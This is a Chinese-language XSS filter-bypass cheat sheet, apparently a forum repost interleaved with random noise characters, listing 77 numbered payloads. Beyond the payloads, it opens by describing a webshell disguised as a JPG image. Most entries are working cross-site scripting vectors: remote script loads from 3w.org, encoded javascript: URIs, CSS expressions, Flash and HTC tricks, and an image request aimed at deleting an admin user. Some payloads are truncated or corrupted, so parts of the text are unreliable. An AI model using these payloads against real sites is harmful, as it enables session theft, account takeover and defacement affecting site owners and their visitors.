跨站图片shell
# C9 R' Q, j& G. p9 C1 G# pXSS跨站代码 <script>alert("")</script>
$ y6 ^% M" n! o& l# E
- C. q. d9 i' S将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
" l* m. H& `8 O: g5 \+ P' O3 a5 m& |5 ]* A% w, `- A0 _
! D' {- B+ X/ ^+ Q% C6 W: a& w+ H7 D0 Z% b
1)普通的XSS JavaScript注入
* _% c* r1 D- a<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>4 T/ Z7 J9 C0 P; r+ p" x
; e- X- `5 C. W: k(2)IMG标签XSS使用JavaScript命令 w- K6 b; ?0 {) `- n5 D3 i
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>. h- L1 `# E$ n# a" T; ~
" {! n4 p* [" g8 J: N
(3)IMG标签无分号无引号
; X! |( y: E" q$ }1 a<IMG SRC=javascript:alert(‘XSS’)>
1 K, f" I. p5 ?/ g8 Z4 s: O6 Q( I2 q* N9 a: b
(4)IMG标签大小写不敏感- f8 Z+ I) s. {, L2 u
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>0 {( `# i7 _$ ^# ]# T' k
4 V& A" j! r* y2 t
(5)HTML编码(必须有分号)- E8 Y/ W8 _/ d1 w0 H/ V
<IMG SRC=javascript:alert(“XSS”)>
5 y; z# o; _# d! o: T* y' v+ F3 H
(6)修正缺陷IMG标签; l4 R* V: b8 f, R) m5 [* |$ J
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
" R* Y4 N7 }) g- V4 H s7 |1 e
; y. \3 }$ \; z. p(7)formCharCode标签(计算器)
: m$ J' P$ j1 u% y<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
) P$ m! s( S6 c& `4 F3 p7 H9 D9 M2 B4 _% I) T9 F7 L* h% M
(8)UTF-8的Unicode编码(计算器). W9 h7 O$ A% ?1 O
<IMG SRC=jav..省略..S')>4 }4 C" P/ W4 o$ G, Z
7 d9 Z( C: ^( f7 V+ c. n0 B; j
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
* W% V$ k2 {# L9 Q( \<IMG SRC=jav..省略..S')>: E# d( V/ j3 ^% o
+ W1 j$ a) P! Q4 o$ ?' I5 {(10)十六进制编码也是没有分号(计算器)3 H8 _# t3 S6 i a4 J* R4 Q
<IMG SRC=java..省略..XSS')>) h. ? V$ C, b' f1 a% Y$ W0 w
# Q( p" }/ v% }7 A! Y( F(11)嵌入式标签,将Javascript分开
0 a- q+ M0 n. {0 |8 i, f<IMG SRC=”jav ascript:alert(‘XSS’);”>
/ x4 [/ q: Q( L; `0 j, c# ?. o
* S P( Y! G3 z" J0 u(12)嵌入式编码标签,将Javascript分开* W8 B* A( n9 `, f3 {( k0 H
<IMG SRC=”jav ascript:alert(‘XSS’);”>
# p* E8 [% A% u+ k) s6 N; Q4 D, K- T7 J) p
(13)嵌入式换行符
$ a G) z y8 c$ K<IMG SRC=”jav ascript:alert(‘XSS’);”>
o: Q1 {8 F C$ y, @, V* p8 H4 ?
! u! C, X- ]/ X4 _, C( `. `' D(14)嵌入式回车
A' h, \# t |4 R) }8 z<IMG SRC=”jav ascript:alert(‘XSS’);”>
. ]; l/ o# M0 @) o7 b
; r5 U' I! r" [) s(15)嵌入式多行注入JavaScript,这是XSS极端的例子8 z0 l8 ]: _, e p
<IMG SRC=”javascript:alert(‘XSS‘)”>7 n7 o3 S: n5 ~1 {" v* V/ Z
8 p8 ]! u: l: V+ u6 z6 j
(16)解决限制字符(要求同页面)+ P! \3 \6 D* h1 r2 o
<script>z=’document.’</script>
( Z/ K& }" I+ U5 j" |2 q<script>z=z+’write(“‘</script>
6 r3 p3 J$ S5 r/ |' i6 `, p8 o<script>z=z+’<script’</script>) o+ @+ O% w: L4 \1 L X' t
<script>z=z+’ src=ht’</script>" a2 V: @" o' |1 ]' ~( Y$ s$ \( q, }
<script>z=z+’tp://ww’</script>4 o L9 R( G# x! p( e; H" Y' r A
<script>z=z+’w.shell’</script>+ q3 O' B( F e: K5 R
<script>z=z+’.net/1.’</script>
/ s# B$ Y5 A' d( i4 \<script>z=z+’js></sc’</script>
# k' [; z8 I4 f% I<script>z=z+’ript>”)’</script>
* @4 w1 D7 E& h, Y2 y1 i<script>eval_r(z)</script>" {- h% b# @7 c5 ?* w8 |% }
- y" @7 I- x/ t
(17)空字符
6 r) f: a# ^2 @2 u4 mperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out; b$ ~+ P, p- [" v6 y' G
* q- Y5 O7 j% w4 ^, t5 E0 _
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用( ?2 o6 Q6 a$ n2 D A H$ s/ ~! ^1 ~+ f
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out9 N; s/ [9 Y3 k
% |3 _6 E e: C(19)Spaces和meta前的IMG标签
" Y" z; K& C# h) N. M! }4 M<IMG SRC=” javascript:alert(‘XSS’);”>
3 C2 y9 K' Q7 O& E& t
; w9 R& w* V5 G! e(20)Non-alpha-non-digit XSS- ~+ D2 s; d. G2 x( l
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>: y5 i! ^: ?# Q5 ~8 ~% D2 h
9 _9 |6 @$ C7 t# I0 F+ J
(21)Non-alpha-non-digit XSS to 2
Z% ?" a/ f7 H' Y2 d }- o<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
( Q6 i$ Y4 C$ M9 [1 y3 Q& d0 S5 u
(22)Non-alpha-non-digit XSS to 3+ M" U8 ^# [+ [5 f) n
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>% G9 h+ w/ b: J! Q) _( s
1 M: R, \2 ^* J3 ?' o9 d(23)双开括号
8 t. q7 X1 n" P% G4 h9 ?<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- A, r- S6 _+ l# K
$ [; q- l' ], i& d(24)无结束脚本标记(仅火狐等浏览器)/ K& n" E- w% }
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>6 T( ~9 ]+ n8 s* L4 a
* W- S) U) R0 H& A* ?$ O. ?
(25)无结束脚本标记2
; T6 {. H, R! n3 P% I* K% |<SCRIPT SRC=//3w.org/XSS/xss.js>
2 h6 U+ |' B. Q+ y% \# z4 R6 N4 v$ `( U9 m; g- u2 ~
(26)半开的HTML/JavaScript XSS/ `/ ]( F: Y9 J
<IMG SRC=”javascript:alert(‘XSS’)”
+ {. O6 o5 W+ h F# C" O
, N- _; A( l" C, E! ?(27)双开角括号
0 _+ S Z& H# e% L3 |3 t2 F+ u" V<iframe src=http://3w.org/XSS.html <
2 @0 u, S X3 I: `. a3 M4 t! b1 p+ h8 l) x% |6 e
(28)无单引号 双引号 分号
" `; ~$ s4 @7 J8 k<SCRIPT>a=/XSS/7 A9 B& F8 \- q6 H( K( t8 j, B) U
alert(a.source)</SCRIPT>
/ G3 u( g9 W T/ d: ^" z& U/ U2 ~
; D# p8 Z% v3 F$ o(29)换码过滤的JavaScript/ w$ v; Y5 ]& B: b z( x# O) v- C
\”;alert(‘XSS’);//+ M3 ^+ N& {2 u- q# o$ d
3 l, K, p9 K7 V(30)结束Title标签
; g! t1 C: X8 j) v+ I</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
G* Q4 h# F2 z, q7 f9 G, O+ q6 [0 y- m+ k1 E, L
(31)Input Image4 N U/ `7 v% O+ d* [2 q
<INPUT SRC=”javascript:alert(‘XSS’);”>
1 w3 I# B) y" H1 W0 V( e: |6 E8 a$ p( ]* a
(32)BODY Image
; [/ H' [3 |3 a0 m+ H' T! _<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
$ J) V) J0 f( i, R# P% A2 o/ t+ o' ^7 V K6 O1 l" j H
(33)BODY标签
+ ~, \: A7 M4 K7 A/ M<BODY(‘XSS’)>$ t2 I; s, Y* D; c5 x' v, j
b. P$ T- |& s9 I' S) C
(34)IMG Dynsrc
4 }! B$ q# u8 t1 D( r; z<IMG DYNSRC=”javascript:alert(‘XSS’)”>
9 G: W" C! F5 L# |
7 m0 P0 s- o3 I% b+ m4 A(35)IMG Lowsrc
. {! z( k/ }, e! R) b/ P. r<IMG LOWSRC=”javascript:alert(‘XSS’)”>& z$ M7 |+ s) ~% T
: ]" G n: F# A7 H
(36)BGSOUND ]7 s* a9 h, s, v }
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
% E" g9 p3 ^" j' k- ?( v- n4 t* p, t/ S/ \/ c2 {
(37)STYLE sheet' }! r; T8 U9 V/ w
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>, v( f/ T! `# p ?4 J/ j
$ g( j* X% q' H
(38)远程样式表
9 b% ~& D9 M' B0 B8 H, X$ H<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>( n! K+ `' }6 m% y- q: y
! @, f7 C2 ]. R* r+ p7 ]/ q
(39)List-style-image(列表式): B# I; m* k* N! f
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS2 q p5 C }% C5 f _ `
! D" p$ T% y; M+ |" X
(40)IMG VBscript
; H' o& C4 [) q6 m3 }; a<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
8 [' ^; ]% w' }
. R+ K3 J- L/ ]' q3 Z(41)META链接url
9 e. S! { t* m/ c6 n3 I<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>/ ]& Y0 H' @+ H; G7 h. k* p( Q `
' z1 ?9 U& E/ X( ~/ d" h+ ^(42)Iframe8 o! L2 B/ n; s1 H; V
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>$ |) C7 O' f+ T9 E
(43)Frame
; F3 ^& O9 H I e( Y+ @# O<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>& }- {9 G: k `) A7 {) N
, o8 y" D( H4 V( w, b4 ^$ R1 k(44)Table0 b7 {( l& \9 i, K X
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
% p3 O$ v- r e
' ^7 o" E* d6 j9 E- ]6 l9 Z5 R(45)TD
% \! f: n9 `- H, g* k+ |<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>; \5 e3 j w$ o9 o+ o7 ^
$ _' L" S( L! W$ s3 ?, K(46)DIV background-image. _: o1 T4 L/ U# }, i
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>, B; h1 K# `3 B2 X m
. q! a, V: K3 {! i7 N
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)4 H. K9 R1 z/ f* ~2 n
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>3 c+ o1 ~ `* L
7 N" M! n9 Y6 @4 c9 h' h- R0 j(48)DIV expression- U2 I1 v7 S( E1 e
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
0 S: {4 N% A$ o0 D+ j+ ^
( Z- @ e7 J* u' X1 @(49)STYLE属性分拆表达
2 T+ i3 E# m q2 F; @" ~<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
. p& i) ^' d5 ^1 A# i, a1 _+ s
; Q a7 [1 ?: a2 j(50)匿名STYLE(组成:开角号和一个字母开头). ~% D; _+ o3 n' t5 V* f
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>+ o) D; L2 K# I/ n, G7 r' @: Y
6 a, y" U2 t& z1 D
(51)STYLE background-image' z% u) A* G W( s( s4 p: u
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
& C, T$ _ t3 ^) p4 B4 Y% c3 l5 U( T3 w% I) {* @2 h
(52)IMG STYLE方式% j5 a1 N! `& g/ c* x6 v' {5 L
exppression(alert(“XSS”))’>7 P- V) B& M0 \, E+ r
/ H9 g$ c7 K; M, k; Y(53)STYLE background( F4 C; \9 `. Q2 e: [6 M! l
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
% g O( j* c- A6 M3 v9 S- g! g' G8 |8 |# j3 z- Z* V- D7 N' l8 r
(54)BASE
, ]4 [; n) F+ |. } r* i# F<BASE HREF=”javascript:alert(‘XSS’);//”>
' b) g4 @2 @, Y, Y
# Y; o: z, ^+ F( t2 K3 R(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS7 B! h9 y8 z+ c6 }4 o; L. i& |6 Y' x
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>7 ]8 ]1 E6 t8 Y% c3 ]! W
}# f4 p' V" Q! r) @* I/ \! }
(56)在flash中使用ActionScrpt可以混进你XSS的代码
' ~( B. Q3 {4 }8 y% C1 a; Fa=”get”;
9 W+ K: G$ a- X9 o' ?* Vb=”URL(\”";
/ ^* |& B3 H- S. a8 p3 Z: hc=”javascript:”;
# }1 Y5 r0 I& @7 ~9 ?1 dd=”alert(‘XSS’);\”)”;
4 ~" v. Q$ k6 W1 o+ ^eval_r(a+b+c+d);
1 x* D1 w8 [. n" k& A
! `1 F W6 X) X0 g# n(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
( m: o. s7 A# b r+ k- _<HTML xmlns:xss>
u1 C5 P* B7 v0 m$ M# ^9 a<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
5 Z" n3 w3 G& R, y* {* p8 V0 O<xss:xss>XSS</xss:xss>) J; k [4 K3 F- |
</HTML>$ ^5 {. E# d0 c
+ f' G2 K5 f* ]6 e8 O) ^
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用 s# H9 ]. {- K. Q2 |" V8 i
<SCRIPT SRC=””></SCRIPT>
" [5 @" @9 N% r U6 X8 {5 u" T
6 G; _2 w& `) }, ~) {(59)IMG嵌入式命令,可执行任意命令 O# c* k/ X' A
<IMG SRC=”http://www.XXX.com/a.php?a=b”>* W6 u K, H+ a. e' `/ Z
- F0 t/ B& w7 M p, ?/ P N! k
(60)IMG嵌入式命令(a.jpg在同服务器)* x! W- Z( _! p
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser7 y' b" O/ M8 S" X" c3 v8 V8 q
: m' a7 [+ N4 y1 p7 S
(61)绕符号过滤
) z! z9 m: o) K& v, W1 c<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>! y5 M$ M3 J8 D" B# C! y
+ L' W: _# c- F' c(62)
, `% x& e9 k2 s<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>' T5 o5 y* X0 G
+ |# E3 j; g5 ]; S) g6 t% P(63)3 Z6 n& D3 Q5 T+ O9 \6 b
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
% D" Y* h9 J1 }5 n! X% S7 m7 x2 O; ~
(64), `6 _$ f7 w8 d; w. t0 @
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
' t A3 f! _* X
; w- K2 U# S2 L( Z, z) W1 O(65)5 W* B8 Q2 s1 q# w7 J. `
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
4 V$ G3 R, Y9 M2 z. V3 p r2 }) G: @+ Z# K1 ~) M* {
(66): e) K( D6 e/ `& ^# `: _* ~$ I
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>3 E/ p9 \4 I0 x0 f# E r6 K+ W6 l
) ~: A0 L' \7 g' r5 ?( E: @1 e(67)
- }/ V3 ?8 V2 k: M<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
4 Q) l' a" A2 Z: s. b4 z
5 }1 F$ @# l0 h d(68)URL绕行$ G8 E- X' v: D4 r# y: ]! B
<A HREF=”http://127.0.0.1/”>XSS</A>1 @. G. N3 F5 A1 H4 k8 K: R
8 U% N2 G4 }) h, v3 q7 t(69)URL编码( A6 ~" G2 k& f
<A HREF=”http://3w.org”>XSS</A>% Z0 F6 V# f' O' \9 e/ }* x
p9 s" B) k- ]9 B9 t& @0 `: k H3 V" x
(70)IP十进制 g; w; t# M6 M9 q
<A HREF=”http://3232235521″>XSS</A>
# P3 i8 W5 s: b0 u
& K4 _7 w* m0 d9 C1 h; @3 j1 p(71)IP十六进制, B2 d1 D+ E$ q/ D* _
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>/ H' M& x# y, @) T
* h( l; B/ _* x& T0 [
(72)IP八进制$ T3 h8 b$ t6 l; ?+ L
<A HREF=”http://0300.0250.0000.0001″>XSS</A>" A8 h g+ n' B8 P$ ~4 w
7 x% g% G0 U! j7 ]$ q
(73)混合编码2 E; C0 ~. [/ @) E& X
<A HREF=”h
, a' u( V8 l2 O. u/ i. ztt p://6 6.000146.0×7.147/”">XSS</A>) o5 d$ ~% B7 J4 r& l, z8 N f4 Q
3 q, H4 D3 `4 _& O, T(74)节省[http:]
9 q3 I3 |/ L; o; r<A HREF=”//www.google.com/”>XSS</A>
, R# d! T; h/ D) \1 }) F: N4 @
5 b+ N( i" E6 ~* A! J(75)节省[www]+ u( _" w* b. P0 g' L( q
<A HREF=”http://google.com/”>XSS</A>. S. h! t, x' ]8 l9 c- G @$ L
/ e1 Y) z' R c7 q(76)绝对点绝对DNS T7 ~# a& }8 Y. K5 r/ @9 w- P. Y
<A HREF=”http://www.google.com./”>XSS</A>$ f a- M3 }0 `. q4 g- v, t
- t/ k; J6 |( d* [' T% d" }
(77)javascript链接$ J3 n6 h$ N) E
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
5 i T% u* ]) ? |